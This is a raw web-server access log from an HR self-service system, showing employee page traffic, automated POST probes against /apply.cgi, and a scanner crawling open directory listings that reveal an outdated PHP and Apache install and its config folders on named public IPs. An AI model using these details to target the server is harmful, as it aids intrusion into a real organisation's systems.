"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:29:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 192.168.11.60 - - [04/Dec/2025:16:29:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:29:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [04/Dec/2025:16:29:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:29:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [04/Dec/2025:16:29:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:29:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:16:29:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:29:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 100.64.0.1 - - [04/Dec/2025:16:59:47 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:16:59:47 +0800] "GET / HTTP/1.1" 200 439 192.168.12.46 - - [04/Dec/2025:17:01:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:17:01:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:17:01:12 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:17:01:12 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.12.46 - - [04/Dec/2025:17:01:12 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:17:01:12 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.12.46 - - [04/Dec/2025:17:01:13 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:17:01:13 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.12.46 - - [04/Dec/2025:17:01:13 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.12.46 - - [04/Dec/2025:17:01:13 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.60 - - [04/Dec/2025:17:02:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:02:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:17:02:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:02:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:17:02:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:02:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:17:02:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:02:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:17:02:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:02:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [04/Dec/2025:17:02:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:02:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:17:03:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:03:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:17:03:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:17:03:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 100.64.0.1 - - [04/Dec/2025:17:07:46 +0800] "POST /apply.cgi HTTP/1.1" 404 207 "http://202.111.43.170:8088/apply.cgi" "Mozilla/5.0 (rondo2012@atomicmail.io)" 100.64.0.1 - - [04/Dec/2025:17:07:46 +0800] "POST /apply.cgi HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:17:07:47 +0800] "POST /apply.cgi HTTP/1.1" 404 207 "http://202.111.43.170:8088/apply.cgi" "Mozilla/5.0 (rondo2012@atomicmail.io)" 100.64.0.1 - - [04/Dec/2025:17:07:47 +0800] "POST /apply.cgi HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:17:11:41 +0800] "POST /apply.cgi HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:17:11:41 +0800] "POST /apply.cgi HTTP/1.1" 404 207 "http://222.92.19.198:8088/apply.cgi" "Mozilla/5.0 (rondo2012@atomicmail.io)" 100.64.0.1 - - [04/Dec/2025:17:11:41 +0800] "POST /apply.cgi HTTP/1.1" 404 207 "http://222.92.19.198:8088/apply.cgi" "Mozilla/5.0 (rondo2012@atomicmail.io)" 100.64.0.1 - - [04/Dec/2025:17:11:41 +0800] "POST /apply.cgi HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:17:17:58 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:17:58 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:17:18:02 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:18:02 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:17:18:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:03 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:17:18:04 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [04/Dec/2025:17:18:04 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:18:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:17:18:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:09 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:17:18:10 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:10 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [04/Dec/2025:17:18:10 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:10 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:17:18:11 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:11 +0800] "GET /eHR HTTP/1.1" 301 239 100.64.0.1 - - [04/Dec/2025:17:18:11 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:11 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:17:18:12 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:12 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [04/Dec/2025:17:18:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [04/Dec/2025:17:18:13 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:13 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [04/Dec/2025:17:18:13 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:13 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [04/Dec/2025:17:18:14 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:14 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 100.64.0.1 - - [04/Dec/2025:17:18:14 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [04/Dec/2025:17:18:14 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 100.64.0.1 - - [04/Dec/2025:17:18:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 100.64.0.1 - - [04/Dec/2025:17:18:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 100.64.0.1 - - [04/Dec/2025:17:18:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 100.64.0.1 - - [04/Dec/2025:17:18:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 100.64.0.1 - - [04/Dec/2025:17:18:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 100.64.0.1 - - [04/Dec/2025:17:18:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 100.64.0.1 - - [04/Dec/2025:17:18:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 100.64.0.1 - - [04/Dec/2025:17:18:21 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:21 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [04/Dec/2025:17:18:21 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:21 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [04/Dec/2025:17:18:22 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:22 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [04/Dec/2025:17:18:22 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:22 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [04/Dec/2025:17:18:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 100.64.0.1 - - [04/Dec/2025:17:18:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [04/Dec/2025:17:18:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 100.64.0.1 - - [04/Dec/2025:17:18:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [04/Dec/2025:17:18:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 100.64.0.1 - - [04/Dec/2025:17:18:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [04/Dec/2025:17:18:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 100.64.0.1 - - [04/Dec/2025:17:18:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /idcard HTTP/1.1" 301 242 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:27 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:17:18:28 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:28 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [04/Dec/2025:17:18:28 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:28 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:17:18:37 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:18:37 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - 